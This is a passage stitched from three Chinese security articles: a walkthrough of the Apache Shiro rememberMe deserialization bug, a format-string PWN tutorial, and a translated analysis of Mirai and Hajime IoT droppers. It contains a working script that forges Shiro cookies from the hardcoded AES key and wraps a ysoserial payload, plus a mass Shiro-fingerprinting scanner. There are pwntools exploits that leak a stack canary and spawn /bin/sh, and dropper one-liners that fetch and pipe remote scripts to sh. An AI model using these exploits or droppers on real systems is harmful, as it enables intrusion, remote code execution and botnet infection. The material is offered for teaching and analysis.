Drop Frame : 返回上一步，摧毁当前方法获得的值
Resume Program : 运行至下一个断点所在位置
### 0x03 分析独白
#### 1\. 环境配置
研究的前提自然是要搭建好环境
下载shiro的漏洞环境，这里使用war包，放在tomcat的webapps里，启动tomcat，然后war包自动解析成文件夹，使用IDEA打开此文件夹
顺便讲一下IDEA配置调试shiro
Run -> Edit Configurations -> 点击+号添加TomcatServer(Local) -> Server中配置Tomcat路径 -> 选择JRE版本 ->Deployment中点击+号添加tomcat里生成的shiro文件夹 -> 点击Apply
运行起来
#### 2\. 分析过程
首先 **第一个目的** 是控制rememberMe参数的值,先找到参数所在位置，对环境的功能先正常使用一遍
当我访问<http://localhost:8080/shiro_web_1_2_4_war/login.jsp> 登录时勾选Remember
Me后，cookie中出现rememberMe参数，而shiro每次都会对cookie中的rememberMe来进行解密后反序列化操作来确定访问者权限，所以直接在cookie传输rememberMe参数就可以控制shiro反序列化的值
**第二个目的** 是获得加密解密的方法，以此来自行加密解密恶意payload进行传输
反编译此漏洞环境中的shiro组件jar包
`选中shiro-core-1.2.4.jar -> 右键 -> Add as Library -> ok`
`选中shiro-web-1.2.4.jar -> 右键 -> Add as Library -> ok`
IDEA中按两次shift
搜索咱们前面准备当做入口点的CookieRememberMeManager类，按着函数列表查看后并未发现有关加密的信息，so跟进父类AbstractRememberMeManager去看一下
进入此类可以发现一个很明显的key，根据参数名`DEFAULT_CIPHER_KEY_BYTES`也可以断定是AES加密中所使用的密钥，同时确实是直接写入了代码中，符合上面通过描述可知的AES密钥硬编码在源代码中的条件
这里我在AbstractRememberMeManager类函数名为encrypt(加密)中下了断点，然后在web端进行登录操作，开始debug，运行至encrypt函数传入参数serialized，然后点击Drop
Frame返回上个方法发现传入的serialized的值是我刚才web端登录的用户名root序列化后的数据，根据运行步骤函数名猜测流程是shiro验证完了登录的账号密码，然后根据用户名生成序列化数据准备进行加密了
再次敲黑板
Debug按钮功能：
Step Over : 单步执行,遇到方法直接获得返回值而不会进入
Step Into : 单步执行,遇到方法会进入方法，不会进入jdk实现的方法中
Force Step Into : 可以进入任何的方法，比如jdk,jar包
Step Out : 在方法内会直接获得返回值跳出该方法
Run To Cursor : 让程序运行到鼠标所在的位置
Drop Frame : 返回上一步，摧毁当前方法获得的值
Resume Program : 运行至下一个断点所在位置
在调试的变量框里看到加密的设置为AES加密，模式为CBC，128位，填充方式为PKCS5Padding
继续Force Step
Into(下一步)，进入cipherService.encrypt的方法中，跳到了JcaCipherService类中的encrypt方法中,方法中有个ivBytes变量，值是随机生成的16个字节，然后跳到了此类中的另一个encrypt方法，就是图片框中下面那个encrypt方法
【+】return this.encrypt(plaintext, key, ivBytes, generate);
plaintext 为 序列化的用户名
key 为 DEFAULT_CIPHER_KEY_BYTES 就是上面base64解码的那个密钥
ivBytes 为 随机生成的长度为16的字节
generate 为 true
跳入的encrypt方法，不清楚java的一些方法作用一定要看图片中的备注，这个方法就是真正的生成加密结果的地方，我会描述的详细一点，因为我是垃圾不写就忘
继续Step Over(下一步)，就回到了梦开始(下的断点)的地方 ~，value变量的值就是上面步骤的output变量的值
继续使用Force Step Into(下一步)和Step
Out(在方法内直接获得返回值并跳到下一步)调试，盯着存储着加密结果的变量，遇到没有对此变量操作的直接获得返回值下一步，最终到了CookieRememberMeManager类中的rememberSerializedIdentity方法又对存储着加密结果的变量进行了一次base64加密，然后赋值到了cookie的rememberMe参数中，到此加密过程结束。
**最终总结加密过程为** ：
设定： **密钥** = kPH+bIxk5D2deZiIxcaaaA==
1.获得明文 = 正常识序列化用户名后的字节(root)
2.以下步骤：
* 科普知识：正常的AES加密所需参数 = 想加密的字符串 + iv + key + CBC + padding
* shiro：AES加密 = 想加密的字符串 (`明文`) + iv(`随机生成的长度为16的字节`) + key(`base64解码**密钥**的结果`) + CBC + PKCS5Padding
3.随机生成的长度为16的字节 + AES加密结果 (就是拼接了一下)
4.base64加密
**那么解密过程为** :
设定： **密钥** = kPH+bIxk5D2deZiIxcaaaA==
1.获得密文 = base64解密rememberMe参数传过来的值
2.以下步骤：
* 科普知识：正常的AES解密所需参数 = 想解密的字符串 + iv + key + CBC
* shiro：AES解密 = 想解密的字符串(`删除密文前16个字节的剩余字节`)+iv(`密文的前16个字节`) + key(`base64解码**密钥**的结果`) + CBC + PKCS5Padding
3.对解密结果进行反序列化，触发payload
在进行第三个目的前看一下最终触发反序列化的地方在哪里，按照加密方法调试过程，在解密方法处添加断点，然后在网页上先登录后，开启调试，运行至decrypt方法停住后进行Force
Step Into(下一步)和Step
Out(在方法内直接获得返回值并跳到下一步)调试，直到DefaultSerializer的deserialize方法。
找到shiro进行序列化和反序列化的代码位置后，可以发现shiro的serialize方法使用ByteArrayOutputStream创建了字节数组缓冲区来存储序列化的字节码，而不是生成落地文件，回到deserialize方法，同样生成缓冲区存储传过来的序列化字节，进行反序列化，并最终运行了readObject方法，如果反序列化的是我们的payload，到这里就执行命令了。
**第三个目的** 是构造脚本进行利用，先将shiro的加密过程和解密过程写出来
def encode(target):
iv = uuid.uuid4().bytes #用好看的方式随机生成16字节
# iv = bytes('1111111111111111',encoding='utf-8')
realkey = base64.b64decode(key) #解密key
mode = AES.MODE_CBC
pad = lambda s: s + ((16 - len(s) % 16) * chr(16 - len(s) % 16)).encode() #CBC模式要求明文长度要是16的倍数，位数不足16位的添加字节补充
resultAES = AES.new(realkey,mode,iv)
nice = resultAES.encrypt(pad(target))
nice = iv + nice
nice = base64.b64encode(nice)
print("加密目标:\n" + str(target) + "\n\n加密结果:\n" + nice.decode("utf-8") + "\n")
def decode(target):
realkey = base64.b64decode(key) #解密key
targetText = base64.b64decode(target) # 想要解密的密文
iv = targetText[0:16]
realText = targetText[16:]
mode = AES.MODE_CBC
resultAES = AES.new(realkey, mode, iv)# 初始化AES参数
nice = (resultAES.decrypt(realText)).decode('utf-8', errors='ignore') #解密密文并设置忽略一些错误防止报错
print("\n解密目标:\n" + target + "\n\n解密结果:\n" + nice + "\n")
然后是加上
使用ysoserial生成的java存在反序列化漏洞依赖库的payload，一个利用代码模子就出来了，优秀的工具已经有很多了，就不一一列举了，to
do里是有整合利用链的想法的，不过yso的cb利用链还在努力自闭中~ 因为我根本就不会java呀 (#^.^#)
，暂时学习了一些需要的前置知识，然后分析了最简单的URLDNS，有时间整理一下学习的笔记在水吧。
from Crypto.Cipher import AES
import base64,uuid
import subprocess
decodeTarget = 'iDQHUONAt/tMN2mHSjCMkopnzE0hn1QgCkZ4I5YrOg5mgCVhgUeoY9AIYHe1CasY6+YrBDNJ+8sasUal9wRYCxAYplrqO25KIlyC1FG7wKjDg3H0Q98aH2+PW8TGkM/leP9Wzl3wbC9Z2t8Thg8abQQ2n3+TMZ1JKyi79EZQgIH7KBmmcNaYkKuDwgCYZKKWtHp4jnWJ6O1qhBxQOr87J5Z6t6vUCf7axIZ3VArtTCAqnxwZT2v6zaVZjVLxWbo3rkyi+TE8RamCDMwzT20XkvKJ1xhUDI58iheSw7e2KP6ctQ8x0Hx5tCqSbwNB03yXuWSCAArTl58QKTByoBBk3PNjmcMk47u5EPUTTE5TPcoqhGXUEDSpjc7lQDdFQ4jxU+eWRZY3jPJw4gQAoX9LEPpIRhijNeopA0Im0jFjtqg+rr7ysp5D6KChzOpzgpewANWT2VLAYEoyZXVU/+f7mP56Pz2vyucX9DvliVDDS6D9hcSQw4mrW3pBzuy+A7hM'
encodeTarget = 'root'
key = 'kPH+bIxk5D2deZiIxcaaaA=='
def encode(target):
iv = uuid.uuid4().bytes #用好看的方式随机生成16字节
# iv = bytes('1111111111111111',encoding='utf-8')
realkey = base64.b64decode(key) #解密key
mode = AES.MODE_CBC
pad = lambda s: s + ((16 - len(s) % 16) * chr(16 - len(s) % 16)).encode() #CBC模式要求明文长度要是16的倍数，位数不足16位的添加字节补充
resultAES = AES.new(realkey,mode,iv)
nice = resultAES.encrypt(pad(target))
nice = iv + nice
nice = base64.b64encode(nice)
print("加密目标:\n" + str(target) + "\n\n加密结果:\n" + nice.decode("utf-8") + "\n")
def decode(target):
realkey = base64.b64decode(key) #解密key
targetText = base64.b64decode(target) # 想要解密的密文
iv = targetText[0:16]
realText = targetText[16:]
mode = AES.MODE_CBC
resultAES = AES.new(realkey, mode, iv)# 初始化AES参数
nice = (resultAES.decrypt(realText)).decode('utf-8', errors='ignore') #解密密文并设置忽略一些错误防止报错
print("\n解密目标:\n" + target + "\n\n解密结果:\n" + nice + "\n")
popen = subprocess.Popen('java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections10 "sleep-5"', shell=True, stdout=subprocess.PIPE)
file_body = popen.stdout.read() #读取生成的payload字节码
decode(decodeTarget)
encode(file_body)
### 0x04 shiro组件检测
以前写的一个检测shiro组件的脚本，速度比较快，检测条件在下面
import requests
import sys,re
import threadpool
#from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings()
def exp(line):
header={
'User-agent' : 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0;',
'Cookie':'a=1;rememberMe=1'
}
check_one="rememberMe" #场景1
check_two="deleteMe" #场景2
isExist = False
with open('ScanResult.txt',"a") as f:
if 'http' not in line:
line = 'http://'+line
try:
x = requests.head(line,headers=header,allow_redirects=False,verify=False,timeout=6) #场景4
y = str(x.headers)
z = checkRe(y)
a = requests.head(line,headers=header,verify=False,timeout=6) #场景5
b = str(a.headers)
c = checkRe(b)
if check_one in y or z or check_two in y or c:
isExist = True
if isExist:
print("[+ "+"!!! 存在shiro: "+"状态码: "+str(x.status_code)+" url: "+line)
f.write(line+"\n")
else:
print("[- "+"不存在shiro "+"状态码: "+str(x.status_code)+" url: "+line)
except Exception as httperror:
print("[- "+"目标超时, 疑似不存活: "+" url: "+line)
def checkRe(target): #场景3
pattern = re.compile(u'^re(.*?)Me')
result = pattern.search(target)
if result:
return True
else:
return False
def multithreading(funcname, params=[], filename="ip.txt", pools=5):
works = []
with open(filename, "r") as f:
for i in f:
func_params = [i.rstrip("\n")] + params
works.append((func_params, None))
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(funcname, works)
[pool.putRequest(req) for req in reqs]
pool.wait()
def main():
multithreading(exp, [], "url.txt", 10) # 默认15线程
print("全部check完毕，请查看当前目录下的shiro.txt")
if __name__ == "__main__":
main()
判定是否存在shiro的条件:
* 1.发送带有rememberMe=1的cookie，返回http头是否存在rememberMe
* 2.发送带有rememberMe=1的cookie，返回http头是否存在deleteMe
* 3.发送带有rememberMe=1的cookie，返回http头是否存在匹配正则`^re(.*?)Me`的
* 4.发送带有rememberMe=1的cookie，请求时脚本设置成跟随跳转后检测前两项
* 5.发送带有rememberMe=1的cookie，请求时脚本设置成不跟随跳转检测前两项
一开始写的时候检测条件是检测的rememberMe=deleteMe字符串，因为见过网站返回头是下图这样的(开发祭天)，返回http头是remeberMe=deleteMe
。。就分开检测了字符串，然后还加了个正则保险一点。
有的网站会自动跳转到某个路径显示首页，所以设置了跟随跳转和不跟随跳转，没图脑补吧，检测思路是这样的，有的站的shiro组件存在检测还要是登录页输入账号密码登录时的那个路径或者和post提交有关，所以可以再加个post方式请求的判断条件，还可以学爬虫自动输入账号密码post提交这种的判断条件，具体代码就得自行发挥啦 | 社区文章 |
# 【技术分享】跟我入坑PWN第二章
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：[ WeaponX](http://bobao.360.cn/member/contribute?uid=2803578480)**
**预估稿费：400RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至[
linwei#360.cn](mailto:linwei@360.cn)，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿**
**传送门**
[**【技术分享】跟我入坑PWN第一章** ****](http://bobao.360.cn/learning/detail/3300.html)
**0x00 背景介绍**
格式化字符串漏洞，虽然在现在真实的环境下已经基本绝迹了。但是在CTF中还是有很多出题点的，本文将阐述格式化字符串漏洞的成因和利用场景与方法。
未注明的情况下，本文的测试环境为Ubuntu 14.04 desktop x86-64，使用到的程序为gdb、gdb-peda、gcc、python、pwntools、socat、rp++、readelf。所有的应用都可以在[《跟我入坑PWN第一章》](http://bobao.360.cn/learning/detail/3300.html)中找到。
**0x01 格式化字符串漏洞介绍**
首先，我们来看看什么是格式化字符串：
包含文本的格式参数的字符串，比如"What's your name %s?"。其中，"What's your name "是文本"%s"是格式参数。
下面，我们先看一个示例。
#include<stdio.h>
int main()
{
char *nick_name = "WeaponX";
printf("What's your name %s?n", nick_name);
printf("What's your name %s?n");
return 0;
}
测试环境Windows XP 32bit、VC 6.0、Win32 Release，程序输出的结果如下：
What's your name WeaponX?
What's your name What's your name %s?
?
Press any key to continue
为什么会这样呢？我们接着往下看。在[《跟我入坑PWN第一章》](http://bobao.360.cn/learning/detail/3300.html)中可以知道，在x86中函数的参数是放在栈中的，所以在第一个printf调用时，栈中的数据是这样的。
Stackframe
+------------------+
| parameter1 | <- ESP (pointer to "What's your name %sn?")
+------------------+
| parameter2 | <- pointer to "WeaponX"
+------------------+
| ... |
+------------------+
所以，在调用printf的时候，会在%s的位置填入WeaponX，变成了"What's your name
WeaponX?n"，也就是我们看到的第一行的输出。然而，在第二个printf的时候，我们只传了一个参数，栈中的数据是这样的。
Stackframe
+------------------+
| parameter1 | <- ESP (pointer to "What's your name %sn?")
+------------------+
| data | <- pointer to "What's your name %sn?"
+------------------+
| data | <- pointer to "WeaponX"
+------------------+
| ... |
+------------------+
printf期待下一个参数，而我们只传了一个参数，但是printf并不知道。会继续向高地址取四字节当成下一个参数。所以，第二个printf会把第一个printf的第一个参数也就是格式化字符串当成第二个参数来填充%s的位置，所以打印出来的结果就变成了"What's
your name What's your name %sn?n?"，就是我们看到的内容。这就是格式化字符串漏洞的基本原理。
现在我们来看看，有什么常用的格式。
%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数
这里需要注意一点，%s和%x的区别，
Stackframe
+------------------+
| parameter1 | <- ESP (pointer to "%s" or "%x")
+------------------+
| 0xdeadbeef |
+------------------+
当parameter1为%s的地址时，printf会将0xdeadbeef作为地址，取0xdeadbeef指向的字符串填入%s的位置并输出；当parameter1为%x的地址时，printf会直接将0xdeadbeef填入%x的位置，也就是直接输出0xdeadbeef。
**0x02 格式化字符串漏洞利用场景**
利用格式化字符串漏洞，我们可以完成任意地址读和任意地址写，下面我用一个例子来演示任意地址读和任意地址写。
#include<stdio.h>
int main()
{
char str[0x20];
scanf("%s", str);
printf(str);
return 0;
}
编译方式：
gcc -m32 -O0 vuln.c -o vuln
我们先输入payload "aaaa%08x%08x%08x%08x%08x%08x%08x"看执行结果：
➜ ./vuln
aaaa%08x%08x%08x%08x%08x%08x%08x
aaaaff9d75ac0000000108048345ff9d82f20000002f0804a00061616161%
可以看到我们的payload中有%08x，其中08是等宽输出，意思就是如果输出的长度不够8个字符则用0补充到8个字符。
我们可以看到输出结果的最后四字节是0x61616161就是aaaa对应的16进制，是我们可以控制的内容。
下面我们来看看如何用格式化字符串漏洞完成任意地址读和任意地址写：
**1.任意地址读：**
根据0x01中的知识，我们只需要把最后一个%08x换成%s就可以读取0x61616161地址的数据，注意这个0x61616161是我们可以控制的内容，就是我们输入的前四个字节且这四个字节就是读取的地址。所以，可以通过替换这个payload的前四个字节完成任意地址读。
这个payload也可以简化为aaaa%7$s，这里的7$的意思就是取printf的第七个参数(0x61616161)，如果这里要用等宽输出的话payload就变成这样了aaaa%7$08x，结果会输出aaaa61616161。
**2.任意地址写：**
我们先了解一下%n的作用。%n是将输出的字符的个数写入到内存中。
根据上述知识，当payload为aaaa%7$n时，输出的字符数量为4，程序会将4写入0x61616161指向的内存中。如果我们需要写更大的数就得用等宽输出来实现了。假设，我们需要向0x61616161写入100，则payload就变成了aaaa%7$0100n。
任意地址写还有一个问题就是，如果我们要写一个很大的数，比如要将0x8048320写入0x61616161，这个16进制对应的十进制数为134513440，也就是说需要在输出134513440个字符。不用多想，程序肯定会崩溃。
如果遇到这种情况怎么办呢？我们可以通过%hn来两字节两字节写入。在上面的例子中，我们将0x8048320拆分为高两字节0x804和低两字节0x8320，将0x804也就是十进制2052写入0x61616161
– 0x61616162；将0x8320也就是十进制33568写入0x61616163 – 0x61616164。分两次写入就可以完成大数的写入了。
**0x03 相关利用场景示例**
**1.利用格式化字符串漏洞绕过canary**
首先我们了解一下canary的机制。canary类似于windows中GS机制，普通的函数栈如下：
Stackframe
+------------------+
| parameter |
+------------------+
| local var1 |
+------------------+
| local var2 |
+------------------+
| ebp |
+------------------+
| return addr |
+------------------+
如果，要利用缓冲区溢出覆盖返回地址比如要覆盖ebp。然而开启了canary后，函数栈就变成如下：
Stackframe
+------------------+
| parameter |
+------------------+
| local var1 |
+------------------+
| local var2 |
+------------------+
| canary | <- Random
+------------------+
| ebp |
+------------------+
| return addr |
+------------------+
在ebp之前增加了一个不可预测的随机值并在程序中，而且在程序结尾处会检测canary是否被篡改。如果发生了缓冲区溢出覆盖了返回地址则肯定会覆盖canary，这时程序会直接退出。绕过canary肯定需要知道canary的值，但是这个值是无法预测的，所以我们需要通过内存泄漏来泄漏出canary的值。下面我们给出一个示例程序：
#include<stdio.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0, str, 0x50);
printf(str);
read(0, str, 0x50);
}
int main()
{
func();
return 0;
}
编译方式：
gcc -m32 -O0 vuln.c -o vuln
然后，我们使用gdb中的checksec看一下程序开启的保护：
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
此时，我们需要调试程序，让程序断在printf。查找canary距离printf第一个参数有多远，函数断在printf后栈中数据如下：
[-------------------------------------code-------------------------------------]
0x80485a8 <func+39>: call 0x8048410 <read@plt>
0x80485ad <func+44>: lea eax,[ebp-0x2c]
0x80485b0 <func+47>: mov DWORD PTR [esp],eax
=> 0x80485b3 <func+50>: call 0x8048420 <printf@plt>
0x80485b8 <func+55>: mov DWORD PTR [esp+0x8],0x50
0x80485c0 <func+63>: lea eax,[ebp-0x2c]
0x80485c3 <func+66>: mov DWORD PTR [esp+0x4],eax
0x80485c7 <func+70>: mov DWORD PTR [esp],0x0
Guessed arguments:
arg[0]: 0xffffcf6c ("aaaan")
[------------------------------------stack-------------------------------------]
0000| 0xffffcf50 --> 0xffffcf6c ("aaaan")
0004| 0xffffcf54 --> 0xffffcf6c ("aaaan")
0008| 0xffffcf58 --> 0x20 (' ')
0012| 0xffffcf5c --> 0xf7eac716 (test eax,eax)
0016| 0xffffcf60 --> 0xffffffff
0020| 0xffffcf64 --> 0xf7e24b34 --> 0x2910
0024| 0xffffcf68 --> 0xf7e24c34 --> 0x2aad
0028| 0xffffcf6c ("aaaan")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080485b3 in func ()
gdb-peda$ x/20wx 0xffffcf50
0xffffcf50: 0xffffcf6c 0xffffcf6c 0x00000020 0xf7eac716
0xffffcf60: 0xffffffff 0xf7e24b34 0xf7e24c34 0x61616161
0xffffcf70: 0x0000000a 0x00000000 0xffffcfb8 0xf7e7f0df
0xffffcf80: 0xf7fbf960 0x00000000 0x00002000 0xe920f900
0xffffcf90: 0xf7fbfc20 0xf7ffd938 0xffffcfb8 0x08048633
根据canary的特点，我们判断0xe920f900为canary，地址是0xffffcf8c。距离第一个参数有60字节，也就是15个参数的长度，所以要读canary我们的payload为%15x。经过分析，我们的exploit如下，先通过格式化字符串漏洞泄漏canary，再完成利用：
from pwn import *
elf = ELF("./vuln")
io = process("./vuln")
shell_addr = elf.symbols["exploit"]
payload = "%15$08x"
io.sendline(payload)
ret = io.recv()
canary = ret[:8]
log.success("canary => 0x{}".format(canary))
payload = "a" * 4 * 8
payload += (canary.decode("hex"))[::-1] # 小端模式反转
payload += "a" * 4 * 3
payload += p32(shell_addr)
io.send(payload)
io.interactive()
**2.利用格式化字符串漏洞完成内存写**
我们给出一个示例程序：
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
void exploit()
{
system("/bin/sh");
}
int func()
{
int *flag;
char *cmp = "y";
char name[20] = {0};
flag = (char *)malloc(4);
memset(flag, 0, 4);
memcpy(flag, "n", 1);
scanf("%s", name);
printf(name);
if(!strcmp(flag, cmp))
{
exploit();
}
return 1;
}
int main()
{
func();
return 0;
}
可以看出，当flag的内容为y时，才能执行system("/bin/sh")，然而，flag的值总为n。这时候就需要用格式化字符串漏洞来写内存了。因为y的ascii码对应的10进制数为121，所以要打印121个字符，最终我们的exploit如下：
from pwn import *
io = process("./vuln")
elf = ELF("./vuln")
shell_addr = elf.symbols["exploit"]
payload = "%0121x%5$n"
io.sendline(payload)
io.interactive()
最后，如果是64bit的程序，需要泄漏canary的情况下。因为x86_64的canary为8字节，所以需要两次泄漏（误），其实使用%lx就可以啦。
**0x04 参考文献**
<http://www.secbox.cn/hacker/7482.html>
<http://www.freebuf.com/articles/network/62473.html>
**传送门**
* * *
[**【技术分享】跟我入坑PWN第一章** ****](http://bobao.360.cn/learning/detail/3300.html) | 社区文章 |
# 【技术分享】以Mirai僵尸网络为例，浅析IoT恶意软件dropper
|
##### 译文声明
本文是翻译文章，文章来源：0x00sec.org
原文地址：<https://0x00sec.org/t/iot-malware-droppers-mirai-and-hajime/1966>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[童话](http://bobao.360.cn/member/contribute?uid=2782911444)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门**
[**从此次美国遭遇大规模DDOS攻击事件看IOT时代的网络安全问题**](http://bobao.360.cn/news/detail/3678.html)
[**【技术分享】关于mirai僵尸网络控制主机的数据分析**](http://bobao.360.cn/learning/detail/3143.html)
**IoT恶意软件概述**
IoT恶意软件即针对智能设备等物联网嵌入式设备的恶意程序。
**最近一段时间以IoT设备为肉鸡的僵尸网络变得越来越流行。Mirai、Hajime、LuaBot等IoT僵尸网络的出现不断蚕食着互联网，一次又一次给用户敲响警钟，告诉我们IoT安全的重要性。**
这些恶意软件通过入侵路由器、调制解调器（“猫”）、智能摄像头等其他连接在互联网上的IoT嵌入式设备，进而对目标网络发起DDOS攻击。
总的来说，恶意软件的感染过程没什么特别的。很多IoT恶意软件甚至不需要利用漏洞即可完成对目标设备的入侵。由于用户安全意识薄弱，购置部署智能设备后往往采用默认配置，即可能存在弱口令、空口令等安全问题。在这种情况下，感染这些IoT设备只要做一件事就好了，即使用一些常用的密码暴力破解telnet服务，直到登录成功为止。
通常来说，攻击者通过入侵telnet服务，往往可以拿到一个低权限的shell（译者注：这里所说的低权限应该是指多数只能设备采用一个阉割版的busybox提供交互式shell，仅能执行有限的命令）。
**安全客小百科：Mirai僵尸网络**
**2016年10月21日 11:10 UTC（北京时间19:10左右）Mirai僵尸网络对美国域名服务供应商Dyn发起DDOS攻击，导致
美国东海岸地区许多网站宕机。**你可能没有听说Dyn，但你一定知道这些网站，如GitHub、Twitter、PayPal等。Dyn为这些著名网站提供基础的DNS服务，当其受到攻击时，用户无法通过域名访问这些站点。
Mirai僵尸网络即利用某款智能摄像头的漏洞入侵了大量的摄像头，利用这些摄像头进而发起DDOS攻击。
**dropper是什么？**
dropper的主要功能：
攻击者对存在漏洞的设备进行扫描（通过暴力破解等方式拿到智能设备root权限的shell）
攻击者通过登录telnet服务获得一个root权限的shell，尝试在该设备上安装恶意软件。
恶意软件执行，完成对目标设备的入侵。
**在目标设备中下载安装恶意程序的脚本通常被叫做dropper。因为这段代码可以通过一些手段把恶意软件释放（drop）到设备上。**
依托于目标设备上可用的工具，dropper的实现很简单，仅需几行代码，像下面这样：
wget -q http://evil-hax0r.com/m.sh -O - | sh
curl -s http://evil-hax0r.com/m.sh | sh
lynx -dump http://evil-hax0r.com/m.sh | sh
或者还可以需要通过已经建立的会话来进行文件的传输。在某种意义上，dropper类似于“[ **Rubber
Ducky**](http://www.freebuf.com/sectool/47411.html)”。只要提供一个交互式的终端，我们可以向服务端（即目标IoT设备）发送命令。
**详细分析dropper**
dropper的主要目的是在IoT设备上安装恶意软件并执行。这听起来很容易，但通常来讲需要以下几个步骤完成这件事。
**首先，在目标设备中找到一个具有可写和可执行权限的文件夹。通常来讲，/tmp文件夹一般会满足以上两个条件（可写、可执行），但是出于保险起见我们最好还是先测试一下。**
**第二，摸清楚目标设备的架构，以便可以释放正确的二进制文件。为了增加在互联网上的传播机会，针对嵌入式设备的恶意软件通常支持多种架构。你可能会遇到一些ARM架构，MIPS
32位、64架构的处理器。**
**最后， dropper必须设法将该恶意文件传输到嵌入式设备中并运行。**
注意：复杂的dropper还有更多的功能。如，检查机器是否已经被感染，移除其他的恶意软件，检查是否在调试环境中（虚拟机、沙盒等）。
对于初次接触这方面的人来说，我们只需关注基础部分就好了。
那么我们就跟着这些步骤一步一步的去研究吧，再此之前我们还要做一些准备工作。
**解析命令**
攻击者运行一个程序，感染远程的嵌入式设备。这个程序与远程嵌入式设备的telnet服务建立socket连接，通过socket连接发送和接收数据。通过socket传输的数据就是我们手动连接设备键入的内容。
为了便于后续操作，收集执行命令后回显的信息是非常有必要的。
许多恶意软件采用的方式是输入不存在的busybox命令记录每一个回显的值。你将看到如下命令：
nc; wget; /bin/busybox RANDOM_TAG
恶意软件Hajime使用上面的命令来检查当前busybox是否具有nc和wget命令。对于不存在的命令，busybox将返回以下内容。
COMMAND: applet not found
这样的话，上一个命令将产生以下回显结果：
nc: applet not found
wget: applet not found
RANDOM_TAG: applet not found
这意味着nc和wget命令在该设备中是不存在的。
**找到一个合适的文件夹**
**如上所述，第一步，dropper首先要在在嵌入式设备中找到一个具有读写权限的文件夹释放（drop）文件。**
通常的做法是看执行cat /proc/mounts命令，输出的内容中是否包含字符串rw。（你可以在Linux系统中执行这个命令测试一下）。
需要注意的是，绝大多数的嵌入式设备都不支持grep命令，因此cat /proc/mounts | grep
rw命令不能正常工作。相反dropper将读取cat命令的完整输出，然后从中寻找rw字符串。
Mirai和Hajime采用这种方式寻找合适的文件夹存储和运行文件。我们来看看Mirai执行的命令。
<https://github.com/jgamblin/Mirai-Source-Code/blob/master/loader/src/server.c#L338>
你看到圈出的这行后面的TOKEN_QUERY了吗？你可以在<https://github.com/jgamblin/Mirai-Source-Code/blob/master/loader/src/headers/includes.h>找到该文件预定义的内容，如下图所示。
#define TOKEN_QUERY "/bin/busybox ECCHI"
#define TOKEN_RESPONSE "ECCHI: applet not found"
现在我们已经知道TOKEN_QUERY就是"/bin/busybox ECCHI"。
**摸清目标设备架构**
**现在，dropper需要弄清楚想要感染的嵌入式设备的架构，便于下载正确的二进制文件。**
一般来说，您不会在嵌入式设备中使用readelf或file等命令判断目标设备的架构（因为有很多设备不支持这些命令），因此你需要通过其他的方式判断其架构。
在这里，我们可以通过解析ELF文件头的方式判断其架构。
为了做到这一点，dropper通常会cat一个已知的二进制文件。大多数的选择是/bin/echo。举个例子，我们看看Mirai的代码（也可以在文末的参考文献中看看Hajime是怎么处理的）
<https://github.com/jgamblin/Mirai-Source-Code/blob/master/loader/src/server.c#L369>
你可以在上面的代码片段中看到状态如何设置为下一个循环（TELNET_DETECT_ARCH），然后命令发送到服务器并循环迭代完成。
在下一次迭代中，TELNET_DETECT_ARCH将被触发，并且cat的输出将被读取并处理。
<https://github.com/jgamblin/Mirai-Source-Code/blob/master/loader/src/server.c#L383>
你可以在这里找到检查架构的代码
<https://github.com/jgamblin/Mirai-Source-Code/blob/master/loader/src/connection.c#L465>
正如我所说，Mirai做的是解析ELF头，并检查e_machine和e_ident字段来找出架构。
它将一个指针指向从socket链接读取到Elf_hdr结构体的缓冲区，然后只是访问这些字段。看看代码，Mirai实际上对ARM子类型进行了额外的检查。
**如何传输文件**
**现在，我们要弄清楚的是dropper如何将恶意软件传输到嵌入式设备。**
例如Mirai，先检查wget、tftp等命令是否存在（使用我们上面提到的技术即可判断）。你可以在下面的代码中看到详细的信息。
<https://github.com/jgamblin/Mirai-Source-Code/blob/master/loader/src/server.c#L431>
当其中一个工具可用是，我们就可以用他下载恶意软件，但是有时候这些命令都不能用的话，像Mirai采用的echo方法就很有必要了。
**使用echo传输文件**
So，这个echo方法到底是怎么工作的呢？很简单，仅仅是将一对16进制的字符串echo到一个文件中。像下面这样
echo -ne "x7fx45x4cx46x..." > malware
但是，这只适用于非常小的二进制文件。对于较大的二进制文件，您可能必须将echo命令分成多个部分，并使用>>附加重定向将每个部分的内容追加写入到结果文件中。
**看看Hajime恶意软件是怎么做的**
Hajime案例是非常有趣的，因为它将释放恶意软件分为两个阶段。
首先部署了一个非常小的ELF二进制文件。这个二进制文件将会下载真正的恶意软件。它连接到预定义的服务器，接受真正的恶意软件内容。
cp .s .i; >.i; ./.s>.i; ./.i; rm .s; /bin/busybox ECCHI
.s即为使用echo命令下载的小型ELF文件。此文件此前由dropper下载好，具有执行权限。上述的shell代码将会执行如下操作。
**cp .s .i 复制小ELF文件（这个文件将下载一个真正的恶意软件）从.s到.i。**
大家都知道文件名称前面带个“.”就是隐藏文件的意思（你可以使用ls
-a命令查看到这些隐藏文件。）这可以使复制前后的文件具有相同的权限。这基本上意味着下载最终的恶意软件后，我们就不用做chmod 777 .i就拥有执行权限。
**>.i. 这个命令的意思是截断文件的内容。
**换句话说，这是一种删除文件的所有内容并将其文件大小设置为0，保留文件权限。所以现在我们有一个具有执行权限的空文件。
**./.s >.i **这个命令的意思就更明显了。现在它已经运行了一个下载器（这个下载器就是前面说的小的ELF文件，通过echo创建的），
**将下载的内容重定向他的标准输出到一个空的可执行文件.i中** 。正如我们上面所说，
